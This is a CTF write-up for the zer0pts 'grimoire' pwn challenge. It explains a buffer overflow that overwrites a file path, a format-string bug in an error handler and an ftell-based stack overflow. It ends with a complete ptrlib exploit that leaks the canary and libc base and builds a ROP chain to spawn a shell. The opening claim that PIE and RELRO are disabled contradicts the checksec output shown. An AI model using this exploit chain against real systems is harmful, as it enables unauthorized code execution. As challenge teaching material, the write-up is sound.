zer0pts CTF
pwn
We're given an ELF, libc and the source code. PIE and RELRO are disabled.
$ checksec -f chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 101 Symbols Yes 0 14 chall
We can open/read/edit/close a book in this program.
open calls fopen(filepath, "r")
but filepath
is fixed to grimoire.txt
. close calls fclose(fp)
. In read, it gets the filesize by ftell
and fread
s the contents into local buffer. If it works, it'll memcpy
the buffer to a global variable. You can edit the contents in edit.
The first one is simple.
The size in which we can write in edit is fixed to GRIMOIRE_SIZE
, even though we can specify the starting offset. So, it has Buffer Overflow. There's filepath
after text
, which we may control by this vulnerability.
*You can't guess the filepath of the flag
Reading the source code of grimoire_read
, we see it gets the filesize by ftell
:
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
memset(buffer, 0, GRIMOIRE_SIZE);
if (fread(buffer, sizeof(char), size, fp) == 0)
The size is of unsigned short
.
ftell
returns -1 for some special files, which can be regarded as a big value in unsigned short
. This can cause Stack Overflow.
Let's check the code around error
function:
void error(const char *s, char *errstring)
{
const char *colon;
char *errmsg;
if (s == NULL || *s == '\0') {
s = colon = "";
} else {
colon = ": ";
}
errmsg = (char*)malloc(strlen(s) + strlen(colon) + strlen(errstring) + 2);
snprintf(errmsg, malloc_usable_size(errmsg), "%s%s%s\n", s, colon, errstring);
fprintf(stderr, errmsg);
free(errmsg);
}
It's similar to perror
but writes buffer made by snprintf
to stderr directly. Let's check if we can control s
anywhere.
if (fp == NULL) {
error(filepath, "No such file or directory");
puts("You lost the grimoire...");
return;
}
As we can control the data of filepath using Vulnerability-1, it causes Format String Bug.
Because the FSB happens on a global variable, we don't have AAW privmitive. Still, we can leak the libc/heap/stack adresses.
We use Vulnerability-2 to cause a stack overflow by opening /proc/self/fd/0
. However, we have problem here. As we changed filepath
in order to leak addresses, we can't open a file anymore.
We craft an FSB payload which leaks the canary and libc value, while on the other hand changes the filepath to an available one. The first argument of the format string is filepath
. Thus, we can write some data there.
Some short paths such as .
or ./
are available for fopen
function.
After FSB works, you can edit filepath
again and open /proc/self/fd/0
to ROP.
from ptrlib import *
def open_book():
sock.sendlineafter("> ", "1")
return
def read_book():
sock.sendlineafter("> ", "2")
x = sock.recvuntil("\n")
if b"fread" in x: return None
text = sock.recvuntil("*").rstrip(b"*")
return text
def read_book_pwn(data):
sock.sendlineafter("> ", "2")
sock.send(data)
sock.recvuntil("*\n")
text = sock.recvuntil("*").rstrip(b"*")
return text
def edit_book(offset, text):
sock.sendlineafter("> ", "3")
sock.sendlineafter("Offset: ", str(offset))
sock.sendafter("Text: ", text)
return
def close_book():
sock.sendlineafter("> ", "4")
return
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("../distfiles/chall")
sock = Socket("localhost", 9008)
delta = 0xe7
rop_pop_rdi = 0x0002155f
rop_pop_rsi = 0x00023e6a
rop_pop_rdx = 0x00001b96
rop_pop_rax = 0x000439c7
rop_syscall = 0x000013c0
# Leak libc base and canary
payload = b'A' * 0x10
payload += p64(0) # fp
payload += p64(0) # init
payload += b"\x00" * 0x10
payload += b"%10$p.%22$p." # filepath (34 bytes will be printed here)
payload += str2bytes("%{}c%6$hn".format(46 - 34)) # set filepath = ".\x00"
open_book()
read_book()
edit_book(0x1f0, payload)
open_book()
r = sock.recvuntil(":").rstrip(b":").split(b".")
canary = int(r[0], 16)
libc_base = int(r[1], 16) - libc.symbol("__libc_start_main") - delta
logger.info("canary = " + hex(canary))
logger.info("libc base = " + hex(libc_base))
# ROP
payload = b'A' * 0x10
payload += p64(0) # fp
payload += p64(0) # init
payload += b"\x00" * 0x10
payload += b"/proc/self/fd/0\x00" # filepath
open_book()
read_book()
edit_book(0x1f0, payload)
payload = b"A" * (0x200)# - 3 + 8)
payload += p64(0)
payload += p64(canary)
payload += p64(0)
payload += p64(libc_base + rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + rop_pop_rsi)
payload += p64(0)
payload += p64(libc_base + rop_pop_rdx)
payload += p64(0)
payload += p64(libc_base + rop_pop_rax)
payload += p64(59)
payload += p64(libc_base + rop_syscall)
payload += b'\x00' * (0x4000 - len(payload))
open_book()
read_book_pwn(payload)
sock.recvline()
# Get the shell!!!
sock.interactive()